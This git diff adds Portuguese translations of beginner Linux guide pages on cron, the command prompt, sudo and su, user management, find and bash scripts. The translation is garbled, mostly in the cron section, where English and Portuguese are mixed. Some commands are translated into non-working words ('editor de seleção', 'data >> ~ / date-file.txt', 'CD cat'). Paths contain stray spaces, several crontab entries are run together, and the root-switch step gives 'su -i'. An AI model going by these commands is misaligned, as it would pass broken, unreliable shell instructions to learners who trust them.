+## 9? 00:00:00 migration / 0
+
+## …
+```
+You probably have a huge list of programs in your terminal now! Instead of 
+ shifting through this listing line-by-line, let's pipe the output of this command 
+ to `grep` and we'll look for `cron`: 
+```
+
+{r, engine = 'bash', eval = FALSE} ps-A | grep "cron"
+
+## 1273? 00:00:01 cron
+```
+# You might or might not get a `cron` running . 
+ 
+ Looks like the `cron` daemon is running! In order to assign programs to be 
+ executed with `cron` we need to edit a special text file called the `cron` 
+ table. Before we edit the `cron` table we need to select the default text 
+ editor. If you like using `nano` (the text editor we've been using throughout 
+ this book) then enter `select-editor` into the console, type in the number 
+ that corresponds to `nano` (usually `2`) and then press enter: 
+```
+
+{r, engine = 'bash', eval = FALSE} editor de seleção
+
+## Selecione um editor. Para mudar mais tarde, execute 'editor de seleção'.
+
+## 1\. / bin / ed
+
+## 2\. / bin / nano <---- mais fácil
+
+## 3\. /usr/bin/vim.basic
+
+## 4\. /usr/bin/vim.tiny
+
+## Escolha 1-4 \[2\]:
+```
+Now that we've chosen a text editor we can edit the `cron` table using the 
+ command `crontab -e` (**`cron`** **tab**le **e**dit) which will automatically 
+ open `nano` with the appropriate file. 
+```
+
+{r, engine = 'bash', eval = FALSE} crontab -e
+
+# Edite este arquivo para introduzir tarefas a serem executadas pelo cron.
+
+#
+
+# m dom dom dow comando
+```
+Let's go over the layout of the `cron` table. First you should notice that any 
+ text after a pound sign (`#`) is a comment, so it's not seen by `cron` (just 
+ like bash comments). The `cron` table has six columns: 
+ 
+ 1. Minute (`m`) 
+ 2. Hour (`h`) 
+ 3. Day of Month (`dom`) 
+ 4. Month (`mon`) 
+ 5. Day of Week (`dow`) 
+ 6. Command to be run (`command`) 
+ 
+ Each column is separated by a single space in the table. The first five columns 
+ allow you to specify when you want a particular command to be run. Only certain 
+ values are valid in each column: 
+ 
+ 1. Minute: `00 - 59` (A particular minute in an hour) 
+ 2. Hour: `00 - 23` (0 is the midnight hour) 
+ 3. Day of Month: `01 - 31` (1 is the first day of the month) 
+ 4. Month: `01 - 12` (1 is January) 
+ 5. Day of Week `0 - 6` (0 is Sunday) 
+ 
+ There are also a few other characters that are valid in the `cron` table. The 
+ most commonly used character is a star (`*`) which represents *all* of the 
+ possible values in a column. So a star in the Minute column means "run every 
+ minute," and a star in the Hour column means "run during every hour." 
+ Knowing this let's make our first entry in the `cron` table. If we want a 
+ command to be executed every minute, during every hour, on every day of the 
+ month, during every month, on every day of the week, then we can put stars in 
+ all of the first five 
+ columns, followed by the command that we want to run. In this case the command 
+ that `cron` will run every minute will be `date >> ~/date-file.txt`, which will 
+ append the date and time when the command is executed to a file in our home 
+ directory called `date-file.txt`. This is what your `cron` table should look 
+ like before you save and exit from `nano`: 
+```
+
+# Edite este arquivo para introduzir tarefas a serem executadas pelo cron.
+
+#
+
+# m dom dom dow comando
+
+*   \* \* \* \* data >> ~ / date-file.txt
+```
+Save and exit `nano` just like you would for a regular text file and then wait 
+ a little bit! After a minute has gone by use `cat` to look at `~/date-file.txt`: 
+```
+
+{r, engine = 'bash', eval = FALSE} CD cat date-file.txt
+
+## Qua Jun 8 18:50:01 UTC 2017
+```
+Look like our entry in the `cron` table is working! Wait another minute and then 
+ look at the file again: 
+```
+
+{r, engine = 'bash', eval = FALSE} cat date-file.txt
+
+## Qua Jun 8 18:50:01 UTC 2017
+
+## Qua Jun 8 18:51:01 UTC 2017
+```
+Unless we delete the line that we entered in the `cron` table, the output from 
+ `date` will be appended to `date-file.txt` every minute. 
+ 
+ The single line of bash `date >> ~/date-file.txt` is a much simpler program than 
+ we would probably use in a `cron` table, though it's good for illustrating how 
+ a `cron` table works. If you want to do more complex tasks with `cron` it's 
+ better for `cron` to execute a bash script that you've written in advance. That 
+ way you can just specify `bash /path/to/script.sh` in the last column of the 
+ table. 
+ 
+ Using stars in all columns is the simplest line of a `cron` table, so let's 
+ look at some examples of more complex table entries: 
+```
+
+# m dom dom dow comando
+
+00 \* \* \* \* bash /path/to/script.sh # É executado a cada hora no início da hora 00 12 \* \* \* bash /path/to/script.sh # Funciona todos os dias ao meio-dia
+
+*   12 \* \* \* bash /path/to/script.sh # Funciona a cada minuto entre as 12 e as 12:59 00 00 05 \* \* bash /path/to/script.sh # Executa o 5º dia de cada mês à meia-noite 00 00 \* 07 \* bash /path/to/script.sh # Funciona todos os dias no mês de julho à meia-noite 00 00 \* \* 2 bash /path/to/script.sh # É executado todas as terças-feiras à meia-noite
+```
+Besides numbers and the star there are a few other characters that you can use 
+ in `cron` table columns including a hyphen (`-`) for specifying ranges and a 
+ comma (`,`) for specifying lists of items. For example `00-29` in the Minutes 
+ column would specify the first thirty minutes of an hour, while `1,5` in the 
+ Day of Week column would specify Monday and Friday. 
+ 
+ Let's take a look at another example of a `cron` table that uses hyphens and 
+ ranges so you can get a sense of how each character works. 
+```
+
+# m dom dom dow comando
+
+00-04 \* \* \* \* bash /path/to/script.sh # Funciona a cada minuto durante os primeiros cinco minutos de cada hora 00 00 \* \* 0,6 bash /path/to/script.sh # É executado à meia noite todos os sábados e domingos 00 03 01-15 \* \* bash /path/to/script.sh # Corre às 3h nos primeiros quinze dias de cada mês 00,30 \* \* \* \* bash /path/to/script.sh # É executado no início e no meio de cada hora 00 00,12 \* \* \* bash /path/to/script.sh # Funciona todos os dias à meia-noite e meio-dia 00 \* 01-07 01,06 \* bash /path/to/script.sh # É executado no início de cada hora nos primeiros sete dias dos meses de janeiro e junho \`\` \`
+
+Um programa que está sendo executado pelo `cron` é tão poderoso quanto sua imaginação pode esticar! Se você estiver familiarizado com a rede social [Twitter,](https://twitter.com/) então você pode ter encontrado algum Twitter contas que criam postagens automaticamente como [Aquário Emoji](https://twitter.com/emojiaquarium) , [Fotos de frutas antigas](https://twitter.com/pomological) ou [Gritos sem fim](https://twitter.com/infinite_scream) . Muitos desses "bot" as contas são alimentadas pelo `cron` , que usa a API HTTP do Twitter para postar tweets regularmente.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/linux/some-usages-for-linux/index.md b/client/src/guide/portuguese/linux/some-usages-for-linux/index.md
new file mode 100644
index 0000000000..fd26aa0656
--- /dev/null
+++ b/client/src/guide/portuguese/linux/some-usages-for-linux/index.md
@@ -0,0 +1,18 @@
+---
+title: Some Usages for Linux
+localeTitle: Alguns usos para o Linux
+---
+*   O Linux agora opera na maioria dos smartphones e tablets em todo o mundo por meio do [sistema](https://en.wikipedia.org/wiki/Android_(operating_system) operacional [Android](https://en.wikipedia.org/wiki/Android_(operating_system) (com base no kernel do Linux). Em março de 2016, o Android detém [60,99%](https://www.netmarketshare.com/operating-system-market-share.aspx?qprid=8&qpcustomd=1) da participação de mercado em dispositivos móveis (tablets e smartphones). Também detém [82,8% apenas](http://www.idc.com/prodserv/smartphone-os-market-share.jsp) para smartphones (por número de Q2 de 2015).
+*   Em março de 2016, o Alexa informou que [96,55%](http://www.w3cook.com/os/summary/) dos 1 milhão de domínios da Internet no mundo são alimentados por servidores que executam o Linux.
+*   A [Bolsa de Nova York (NYSE)](https://en.wikipedia.org/wiki/New_York_Stock_Exchange) , a maior bolsa de valores do mundo, que negocia títulos no valor de bilhões de dólares por dia, é executada por servidores que rodam no Linux depois de se afastarem do UNIX.
+*   A Casa Branca capacita seus servidores web usando [Red Hat Linux](https://en.wikipedia.org/wiki/Red_Hat) e [Apache](https://en.wikipedia.org/wiki/Apache_HTTP_Server) .
+*   O Departamento de Defesa dos EUA (DoD) usa o Linux para administrar sua frota de submarinos nucleares.
+*   Você pode automatizar tudo em sua casa com apenas um PI de framboesa.
+*   A Marinha dos EUA usa o Linux para software de controle de solo.
+*   O Linux é usado para hospedar sites ou aplicativos. Hospedeiros da Web baseados em Linux como 'Dreamhost' são usados ​​para hospedar seu leitor RSS pessoal com o Tiny Tiny RSS, ou um clone pessoal do Dropbox com o OwnCloud.
+*   A automação residencial pode ser possível com o Linux junto com um pequeno computador como o Raspberry Pi. Ele pode ser usado para controlar a casa com o Siri, montar um tablet do Google Agenda na parede, configurar um sistema de vigilância residencial, controlar persianas e ar-condicionado, transmitir música, criar um porta-retratos digital e muito mais.
+*   O Paquistão está usando o Linux em muitas de suas escolas e faculdades públicas e planeja executá-lo em todos os seus sistemas de computador do governo.
+*   O console de videogame Sony Playstation 3 já havia possibilitado a execução do Linux em uma partição separada de disco rígido. Entidades científicas conectadas em rede consoles para poderosos clusters. [O Laboratório de Pesquisa da Força Aérea dos Estados Unidos](https://en.wikipedia.org/wiki/PlayStation_3_cluster) montou um supercomputador por consoles Playstation 3 do cluster 1760.
+*   O Linux está no espaço. O Ubuntu é usado na Estação Espacial Internacional. [Consulte Mais informação](https://news.softpedia.com/news/Ubuntu-Used-on-the-International-Space-Station-to-Control-Rover-Back-on-Earth-454101.shtml)
+
+Outras adoções do Linux de todo o mundo podem ser vistas [aqui](https://en.wikipedia.org/wiki/List_of_Linux_adopters) e [aqui](http://www.comparebusinessproducts.com/fyi/50-places-linux-running-you-might-not-expect)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/linux/the-anatomy-of-the-linux-command-line/index.md b/client/src/guide/portuguese/linux/the-anatomy-of-the-linux-command-line/index.md
new file mode 100644
index 0000000000..8de07bb238
--- /dev/null
+++ b/client/src/guide/portuguese/linux/the-anatomy-of-the-linux-command-line/index.md
@@ -0,0 +1,35 @@
+---
+title: The Anatomy of the Linux Command Line
+localeTitle: A anatomia da linha de comando do Linux
+---
+# A anatomia da linha de comando do Linux
+
+Neste mundo de tecnologia altamente gráfico-usuário-interfaceado (GUI) o comando, muitos usuários de computador acham a idéia de inserir comandos de texto (em um prompt de comando ou terminal) para executar funções básicas como repulsivo - e deve ser deixado para programadores ou desenvolvedores (na verdade geeks).
+
+Felizmente, a interface de linha de comando (CLI) é a principal no mundo do Linux. Embora muitos tipos de linux vêm com GUIs bem polidas e intuitivas, para uma ótima experiência com o Linux, ainda é necessário ter familiaridade com o Linux CLI (terminal ou shell) para poder executar operações essenciais de computador de maneira rápida e limpa.
+
+A linha de comando ainda desempenha funções muito importantes na vida do usuário do Linux e também no seu caso você opte por usá-lo.
+
+No Linux, os comandos são fornecidos (digitados) no terminal. Embora o aplicativo terminal possa ter nomes variados em diferentes distribuições de linux (distros) - mas na maioria das vezes é simplesmente chamado de “terminal” ou um termo estreitamente relacionado.
+
+Para começar a usar o terminal aberto (para o Ubuntu, simplesmente segure o Ctrl + Alt + T) e você será recebido por uma série de personagens organizados neste formato;
+
+```linux
+user_name@machine_name:~$ 
+```
+
+Você pode ver uma linha de comando terminando com um prompt de shell piscando, significando que o shell está pronto para receber comandos do usuário.
+
+*   O **_“user\_name”_** representa o nome de login.
+    
+*   O **_“machine\_name”_** (também conhecido como o nome do domínio) é o nome atribuído ao computador (ou servidor) e geralmente é definido durante a instalação. Às vezes, também pode ser representado por um endereço IP.
+    
+*   O sinal de til **_“~”_** mostra que o diretório atual do usuário é sua "home" `(/home/user_name)` .
+    
+    *   Observe que cada usuário em um sistema Linux possui um diretório HOME criado para eles e esse diretório pessoal é sempre o mesmo nome com o nome de login (ou nome de usuário) do usuário. Isto é, se o nome de login for “john”, então seu diretório inicial será / home / john. No login, todos os usuários são levados diretamente para o seu diretório pessoal.
+
+A partir do terminal de comando, você pode começar a dar comando ao shell. Múltiplos comandos podem ser dados em uma única linha de comando usando um ponto e vírgula para separá-los. Algo assim;
+
+`user_name@machine_name:~$ who; free; df`
+
+Mas, na maioria das vezes, para garantir uma saída limpa, é aconselhável inserir comandos um de cada vez, para não agrupar a tela.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/linux/the-command-prompt/index.md b/client/src/guide/portuguese/linux/the-command-prompt/index.md
new file mode 100644
index 0000000000..10d3837dc1
--- /dev/null
+++ b/client/src/guide/portuguese/linux/the-command-prompt/index.md
@@ -0,0 +1,274 @@
+---
+title: The Command Prompt
+localeTitle: O prompt de comando
+---
+## O prompt de comando
+
+Como uma das Interfaces de usuário (UI) mais antigas, o _prompt de comando_ (também conhecido como _shell_ , _terminal_ , _console_ , _tty_ ) foi implementado de várias maneiras.
+
+Isso levou algumas palavras a serem usadas de forma intercambiável em conversas modernas que na verdade têm significados ligeiramente diferentes.
+
+* * *
+
+> Índice
+
+*   [Uma história muito curta](#a-very-very-short-history)
+*   [Hoje](#today)
+*   [A concha](#the-shell)
+*   [BATER](#bash)
+*   [Conseguindo ajuda](#getting-help)
+*   [O prompt](#the-prompt)
+*   [Obtendo Raiz](#getting-root)
+*   [entrar](#login)
+*   [sudo](#sudo)
+*   [su](#su)
+*   [Caminhos Relativos e Absolutos](#relative-and-absolute-paths)
+*   [Relativo](#relative)
+*   [Absoluto](#absolute)
+*   [Opções de Comando](#command-options)
+*   [Comandos de Encadeamento](#chaining-commands)
+*   [Trabalhos em segundo plano](#background-jobs)
+
+* * *
+
+### Uma história muito curta
+
+No século 19 foi o [telégrafo](https://en.wikipedia.org/wiki/Electrical_telegraph) . Isso permitiu que duas pessoas trocassem mensagens codificadas por longas distâncias. Mais tarde, os avanços tecnológicos levaram à [máquina de teletipo](https://en.wikipedia.org/wiki/Teleprinter) (tty), onde a pessoa que recebeu a mensagem foi substituída por uma espécie de impressora.
+
+Ao mesmo tempo, os primeiros computadores, como o ENIAC, eram programados com algum tipo de hardware, como switches, dials ou patch cables. À medida que os computadores avançavam, era necessário um melhor Input / Output (IO), e assim as máquinas de teletipo comumente disponíveis eram convertidas para uso.
+
+Porque os tty's eram grandes peças de mobília por conta própria, e ganharam o nome **console** por suas semelhanças com outros móveis de chão, como televisores de console. Como um ponto final eletrônico para um mainframe, esses dispositivos também eram chamados de **terminais** .
+
+As impressoras TTY foram eventualmente substituídas por telas CRT (Cathode Ray Tube), que também eram usadas em televisores antes que o LCD e o plasma estivessem disponíveis. Curiosamente, os computadores Linux modernos ainda podem ser controlados usando uma máquina tty!
+
+> Clique na imagem abaixo para ir para um pequeno vídeo do Youtube.
+
+[![](https://i.ytimg.com/vi/-Ul-f3hPJQM/hqdefault.jpg)](https://youtu.be/-Ul-f3hPJQM)
+
+* * *
+
+### Hoje
+
+Hoje, os usuários de Linux e Unix ainda usam os mesmos termos, mas com pequenas diferenças. Terminais reais e virtuais estão disponíveis, e terminais virtuais podem ser acessados ​​usando Alt + Ctrl + \[F1-F12\] .
+
+Em Graphical User Environments (GUI), os usuários podem acessar o prompt de comando usando um **emulador de terminal** , que fornece os recursos de um tty, mas dentro de uma janela. Existem muitos emuladores de terminal disponíveis para usuários do Linux, como **xterm** , **kterm** e **rxvt** .
+
+Os disponíveis dependerão de qual distribuição do Linux (distro, para abreviar) você está usando e seus padrões. Verifique seu gerenciador de pacotes para instalar outros. Usuários do Windows podem usar o **PuTTY** ou outros utilitários para se conectarem a um sistema Linux.
+
+### A concha
+
+_Shell_ s são programas que interpretam comandos.
+
+Há um número deles, como [**B** ourne **A,** ganho **SH** ell](https://www.gnu.org/software/bash/) (BASH), [C Shell](https://docs.freebsd.org/44doc/usd/04.csh/paper.html) (csh / tcsh) e [Z SHell](http://zsh.sourceforge.net/) (zsh).
+
+#### BATER
+
+O shell padrão mais comum no Linux é o BASH, mas cada usuário pode alternar temporária ou permanentemente para qualquer outro shell disponível. O shell é totalmente programável por script, o que significa que conceitos de programação podem ser combinados com utilitários de shell e de sistema para criar funções mais complicadas.
+
+Os comandos inseridos em um prompt de comando podem ser incorporados ao shell, como **cd** , **exit** ou **export** .
+
+Eles também podem vir de programas externos e, no caso da maioria das distribuições Linux, são fornecidos pelas [ferramentas](https://www.gnu.org/software/coreutils/coreutils.html) do [Gnu](https://www.gnu.org/software/coreutils/coreutils.html) .
+
+Veja abaixo os comandos mais comuns.
+
+| Comando | Uso | | -------- | ----------------------------------------- | | `cd` | mudar o diretório atual | | `ls` | lista de arquivos no diretório atual | | `mv` | mover arquivos e diretórios | | `man` | documentação de comando aberto | | `mkdir` | faça um diretório | | `rmdir` | excluir um diretor | | `touch` | crie um arquivo vazio | | `rm` | remova arquivos | | `ln` | criar links para arquivos e diretórios | | `chown` | alterar a propriedade de arquivos e diretórios | | `chmod` | alterar permissões | | `find` | localizar arquivos | | `cat` | grava arquivos na saída padrão | | `less` | permite rolagem de entrada padrão | | `grep` | busca por correspondências em texto simples | | `diff` | mostre diferenças entre arquivos | | `passwd` | mude sua senha |
+
+#### Conseguindo ajuda
+
+A ajuda imediata está disponível para comandos em um ou mais lugares.
+
+Adicione `--help` após o comando.
+
+Isso imprime informações de uso para o comando.
+
+Sua saída é semelhante ao comando `man` , mas `man` é usado antes do comando para o qual você deseja o manual.
+
+O comando `info` é a terceira opção de ajuda e é usado como o `man` .
+
+```bash
+ls --help 
+ 
+ man ls 
+ 
+ info ls 
+```
+
+### O prompt
+
+O prompt, que é o bit de texto no shell à esquerda do cursor, pode ser alterado para mostrar seu status atual, como o diretório em que você está atualmente, em qual usuário você está logado, o nome do seu computador e o _que privilégios que você tem_ .
+
+Esse último é importante reconhecer. Geralmente o último caractere no prompt, você verá um `$` , que indica os privilégios normais do usuário.
+
+Se você tiver privilégios de **root** , que pertencem ao administrador do sistema, normalmente verá um `#` como último caractere. Ao navegar em fóruns e obter ajuda on-line, os comandos que você deve digitar geralmente serão exibidos com esse caractere.
+
+**Você não precisa digitar!**
+
+Por exemplo:
+
+```bash
+$ ls -l 
+```
+
+significa que você digita `ls -l` em um prompt normal.
+
+```bash
+# apt-get install node 
+```
+
+significa que você digita o `apt-get install node` usando privilégios de administrador. Como você eleva seus privilégios depende da sua distribuição Linux.
+
+### Obtendo Raiz
+
+#### entrar
+
+Fazer o login como root é uma _péssima ideia_ . É por isso que algumas versões do Linux desabilitam a capacidade dos usuários de fazer o log dessa maneira. Esses usuários são encorajados a usar o próximo método, `sudo` , dentro de sua própria conta de usuário.
+
+Se você precisar usar um console raiz, esteja ciente de seu poder. Você não será avisado ou solicitado a confirmar a maioria das tarefas, mesmo que um erro de digitação simples signifique excluir algo importante.
+
+#### sudo
+
+Adicione "sudo" antes de um comando para mudar para **S** uper **U** ser e **DO** (SUDO). É assim que o Ubuntu e seus derivados são configurados para permitir acesso de administrador, e é dado por comando.
+
+Você não recebe um shell de root e o próximo comando que você digitar não terá privilégios elevados, a menos que você use o `sudo` novamente.
+
+```bash
+sudo apt-get update 
+```
+
+Exceto pelo primeiro usuário criado em certas distros, os usuários precisam ser adicionados a uma lista especial (encontrada em `/etc/sudoers` ) para usar o sudo.
+
+Isso é feito com o comando `visudo` .
+
+Você nunca deve editar o arquivo `sudoers` com um editor de texto regular!
+
+`visudo` garante que você não se tranque do seu próprio sistema.
+
+#### su
+
+`su` , como o `sudo` , permite que você mude para outro usuário, exceto que, por padrão, você receberá outro prompt como o usuário para o qual você alternou.
+
+Por si próprio, o `su` levará para um prompt root, mas com as variáveis ​​de ambiente do usuário atual, como `$HOME` para sua pasta pessoal, e `$PATH` para o caminho do sistema.
+
+Isso pode levar a resultados inesperados e, se você quiser usar `su` para alternar para outro usuário, adicione um hífen após o comando:
+
+```bash
+su - 
+```
+
+Isso mudará você totalmente para um prompt de root.
+
+Um nome de usuário pode ser adicionado ao comando para alternar para esse usuário, mas exigirá a senha desse usuário.
+
+`sudo` pode ser usado em combinação com `su` para permitir que um administrador mude para qualquer usuário.
+
+```bash
+myUser@linux $ su - otherUsername 
+ Password: (typed my password) 
+ su: Authentication failure 
+ 
+ myUser@linux $ sudo su - otherUsername 
+ Password: (typed my password) 
+ otherUsername@Linux $ 
+```
+
+### Caminhos Relativos e Absolutos
+
+Ao usar um comando em um arquivo, como copiar ou excluir, você pode consultar o arquivo de duas maneiras.
+
+#### Relativo
+
+Localização do arquivo em relação ao diretório atual.
+
+Existem dois operadores de caminho relativos no shell `.` e `..`
+
+O primeiro `.` significa o diretório atual, então `cat file.txt` e `cat ./file.txt` são a mesma coisa se file.txt estiver no diretório atual.
+
+O outro é `..` e significa um diretório para cima na árvore.
+
+Então, se você está em `/home/user/projects/project-a` e emite o comando `cd ..` você mudará para `/home/user/projects` .
+
+Se o diretório de projetos tiver subdiretórios chamados `project-a` , `project-b` , `project-c` e você estivesse no diretório `project-a` , você poderia alternar para `project-b` usando `cd ../project-b` .
+
+Há também uma `environment variable` no shell chamada `$HOME` que aponta para o seu diretório pessoal.
+
+Você pode usar isso no BASH usando um caractere til `~` .
+
+O shell substitui o til para você quando você aperta enter, então, por exemplo, você pode mudar para sua própria pasta pessoal usando `cd ~` .
+
+#### Absoluto
+
+As localizações dos arquivos são o caminho completo da raiz do sistema de arquivos e sempre têm uma barra inicial.
+
+Por exemplo, `cd /home/quincy/Desktop` irá para o diretório desktop do Quincy, independentemente do caminho atual ou do usuário logado.
+
+### Opções de Comando
+
+A maioria dos comandos shell segue a mesma sintaxe, que é o **arquivo de opções de comando** .
+
+```bash
+ls -l *.txt 
+```
+
+Onde
+
+*   `ls` fornece uma lista de arquivos e diretórios,
+*   `-l` muda a saída de `ls` para uma lista longa,
+*   e `*.txt` restringe a lista a arquivos terminados em `.txt` .
+
+Cada comando tem opções diferentes e várias opções podem ser listadas juntas, como no exemplo `tar -cvf` na próxima seção.
+
+Comandos individuais podem ser conectados juntos em uma cadeia, onde a saída de um comando se torna a entrada para outro comando.
+
+Isso é feito com o `|` personagem, muitas vezes chamado de **pipe** ou **bar** . Este não é um I maiúsculo ou minúsculo L, nem é o número 1. Nos teclados dos EUA, ele é encontrado em uma das teclas perto de Enter .
+
+No exemplo a seguir, usarei 2 comandos.
+
+O primeiro, `cat` , é curto para concatenar, e pode ser usado para colocar o conteúdo de um arquivo no final de outro (concatenação!). Ao usá-lo com apenas um arquivo, ele grava o conteúdo no terminal.
+
+O segundo comando, `grep` , é um programa que produz texto encontrado com base em alguma entrada e um padrão de busca. O padrão de pesquisa pode ser um texto simples ou uma expressão regular (regex) para pesquisas mais avançadas.
+
+```bash
+cat index.html | grep img 
+```
+
+Existem várias maneiras de fazer isso, mas isso gerará todas as linhas em index.html que contenham `img` no terminal. Este exemplo usa apenas um `|` , mas você não está limitado a isso.
+
+### Comandos de Encadeamento
+
+Enquanto o operador de `&` comercial único `&` é um operador de controle de trabalho na BASH (próxima seção), o duplo comercial tem outro significado. É lógico **AND** , e você o usa entre dois comandos para que o segundo comando seja executado somente se o primeiro sair com êxito (sem erro).
+
+O exemplo a seguir mostra quantos usuários Debian e Ubuntu atualizam sua lista de softwares e, em seguida, executam uma atualização do sistema.
+
+```bash
+sudo apt-get update && sudo apt-get dist-upgrade 
+```
+
+Outra opção é o tubo duplo `||` , o que significa **OR** lógica. Você o usaria quando quiser executar um comando somente quando o primeiro sair com um erro.
+
+A seguir, você criará um arquivo chamado `project.tar` na área de trabalho do usuário a partir dos arquivos em um diretório de projeto e, se isso falhar, ecoará uma mensagem.
+
+```bash
+tar -cvf /home/user/Desktop/project.tar /home/user/project/* || echo "archive failed" 
+```
+
+### Trabalhos em segundo plano
+
+Quando você executa um comando em um terminal, o terminal fica ocupado até que o comando seja concluído e nenhum outro comando possa ser executado. Existe um sistema de controle de tarefas no Linux que permite suspender os comandos em execução, retomar os comandos suspensos em segundo plano e retomar os comandos suspensos no primeiro plano.
+
+Isso é útil para scripts de execução longa ou quando você precisa enviar algo para o segundo plano para que o terminal possa ser usado para outras coisas.
+
+o suspender um programa que está sendo executado no terminal use a combinação de teclas Ctrl + Z.
+
+Você retornará ao seu prompt normal e o comando parecerá ter parado. Não tem, mas só foi suspenso. Ainda é visível na lista de `jobs` usando o comando `jobs` para listar todos os jobs atualmente rastreados. Eu fiz o `man ls` para obter uma página de manual e, em seguida, suspendi-lo.
+
+Quando digito `jobs` , recebo a seguinte saída:
+
+```bash
+$ jobs 
+ 
+ [1]  + suspended  man ls 
+```
+
+A partir daqui, posso deixá-lo retomar em segundo plano, digitando `bg %1` onde o `1` é o número do trabalho encontrado nos colchetes.
+
+Eu posso trazê-lo de volta para o primeiro plano digitando `fg %1` .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/linux/user-management-on-linux/index.md b/client/src/guide/portuguese/linux/user-management-on-linux/index.md
new file mode 100644
index 0000000000..4b4d389756
--- /dev/null
+++ b/client/src/guide/portuguese/linux/user-management-on-linux/index.md
@@ -0,0 +1,81 @@
+---
+title: User management on Linux
+localeTitle: Gerenciamento de usuários no Linux
+---
+#### Nota: Para executar um comando como `sudo` você deve ter uma conta de usuário sudo (Administrador)
+
+## Como criar um usuário
+
+#### Use o comando `adduser` ou `useradd` para incluir um novo usuário em seu sistema.
+```
+$ sudo adduser username 
+```
+
+Certifique-se de substituir o `username` usuário pelo usuário que você deseja criar.
+
+#### Use o comando `passwd` para atualizar a senha do novo usuário.
+```
+$ sudo passwd username 
+```
+
+Uma senha forte é altamente recomendada!
+
+## Como criar um usuário Sudo
+
+Para criar um usuário `sudo` , você precisa criar um usuário regular primeiro usando o comando acima e depois adicionar esse usuário ao grupo de `sudoers` usando o comando `usermod` .
+
+##### Em sistemas Debian (Ubuntu / LinuxMint / ElementryOS), membros do `sudo` grupo têm privilégios sudo.
+```
+$ sudo usermod -aG sudo username 
+```
+
+##### Em syatems baseados em RHEL (Fedora / CentOs), os membros do grupo `wheel` possuem privilégios sudo.
+```
+$ sudo usermod -aG wheel username 
+```
+
+## Como excluir um usuário
+
+##### Para o Debian (Ubuntu)
+```
+$ sudo deluser username 
+```
+
+##### Para o RHEL (Fedora / CentOS)
+```
+$ sudo userdel username 
+```
+
+##### Criando grupos e adicionando usuários
+```
+$ sudo groupadd editorial 
+ $ sudo usermod -a -G editorial username 
+```
+
+#### Nota: Todos os comandos acima podem ser executados sem sudo no modo `root`
+
+Para mudar para root no Ubuntu, execute o comando `su -i` seguido pela senha do usuário logado. Prompt changes to `#` insted of `$`
+
+##### Em sistemas Debian (Ubuntu / LinuxMint / ElementryOS), membros do `sudo` grupo têm privilégios sudo.
+```
+$ sudo usermod -aG sudo username 
+```
+
+## Como criar um grupo
+
+Para criar um grupo, use o comando `groupadd`
+```
+$ sudo groupadd groupname 
+```
+
+## Como excluir o grupo
+
+Para excluir um grupo, use o comando 'groupdel'
+
+`` ` $ sudo groupdel grouname``
+
+#### Referências
+
+[Debian (Ubuntu)](https://www.digitalocean.com/community/tutorials/how-to-add-and-delete-users-on-ubuntu-16-04)
+
+[RHEL (CentOS / Fedora)](https://www.digitalocean.com/community/tutorials/how-to-add-and-delete-users-on-a-centos-7-server)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/linux/using-the-find-command/index.md b/client/src/guide/portuguese/linux/using-the-find-command/index.md
new file mode 100644
index 0000000000..c9ee151f32
--- /dev/null
+++ b/client/src/guide/portuguese/linux/using-the-find-command/index.md
@@ -0,0 +1,33 @@
+---
+title: Using the Find Command
+localeTitle: Usando o comando Find
+---
+# Usando o comando Find
+
+O comando find do Linux é uma ferramenta poderosa para ajudá-lo a localizar arquivos e diretórios em seu servidor. Com um pouco de prática, você pode facilmente rastrear as coisas com base no nome, tipo, tamanho ou data (quando elas foram criadas ou atualizadas pela última vez).
+
+Pense em encontrar como seu ajudante ansioso:
+
+Você: "Estou procurando por algo no meu servidor".
+
+Encontre: "Eu posso ajudar! O que você pode me dizer sobre isso?"
+
+Você: "Era um arquivo, maior que 2GB, em algum lugar sob meu diretório home, atualizado nas últimas 48 horas."
+
+Encontrar: "Tada!"
+
+Find é um programa, então você realmente teria que dizer para `find ~ -type f -size +2G` .
+
+Aqui estão alguns exemplos de comandos usando find:
+
+*   `find ~ -type d # Show me all the subdirectories inside my home directory`
+*   `find / -type f -name 'todo.txt' # Show me files named 'todo.txt' anywhere under the root directory (ie anywhere)`
+
+O primeiro parâmetro sempre nomeia o diretório no qual procuraremos. Em nossos exemplos acima, estes são ~ (diretório home do usuário atual) e / (diretório raiz do sistema de arquivos).
+
+Outros parâmetros são opcionais e podem ser combinados de qualquer maneira que você achar útil:
+
+*   O parâmetro type permite restringir a busca apenas por arquivos (f), diretórios (d) ou links simbólicos (l). Se você omitir o parâmetro type, você estará procurando por todos esses tipos.
+*   O parâmetro name permite especificar o que você deseja encontrar pelo nome, seja com uma string literal ('filename.txt') ou usando curingas ('file?. \*').
+
+`man find` mostrará muitos mais parâmetros e vale a pena ser revisto. Localizar pode localizar arquivos por nome, usuário, data de criação, tamanho e muito mais. Da próxima vez que você estiver procurando por algo, encontre-o!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/linux/writing-a-bash-script/index.md b/client/src/guide/portuguese/linux/writing-a-bash-script/index.md
new file mode 100644
index 0000000000..9ef8f64c60
--- /dev/null
+++ b/client/src/guide/portuguese/linux/writing-a-bash-script/index.md
@@ -0,0 +1,90 @@
+---
+title: Writing a Bash Script
+localeTitle: Escrevendo um Script Bash
+---
+# Escrevendo um Script Bash
+
+Digitando comandos na linha de comando do Linux, você pode dar instruções ao servidor para realizar algumas tarefas simples. Como o inferno O script é uma maneira de reunir uma série de instruções para tornar isso mais fácil. Scripts Shell se tornam ainda mais poderosos quando você adiciona lógica como `if` e `while` para controlar automaticamente como elas se comportam à medida que as circunstâncias mudam.
+
+## O que é Bash?
+
+Bash é o nome de um interpretador de linha de comando, um programa que faz sentido dos comandos do Linux que você insere no comando prompt, ou no seu script.
+
+## O que há em um script?
+
+Um script é apenas um arquivo. Um script básico é composto de uma linha introdutória que informa ao servidor o que fazer dele e ou mais instruções para executar. Aqui está um exemplo:
+```
+#!/bin/bash 
+ echo "Hi. I'm your new favorite bash script." 
+```
+
+A primeira linha tem um significado especial, que discutiremos abaixo. A segunda linha é apenas um comando do Linux, que você pode digitar na linha de comando.
+
+## O que é um comentário?
+
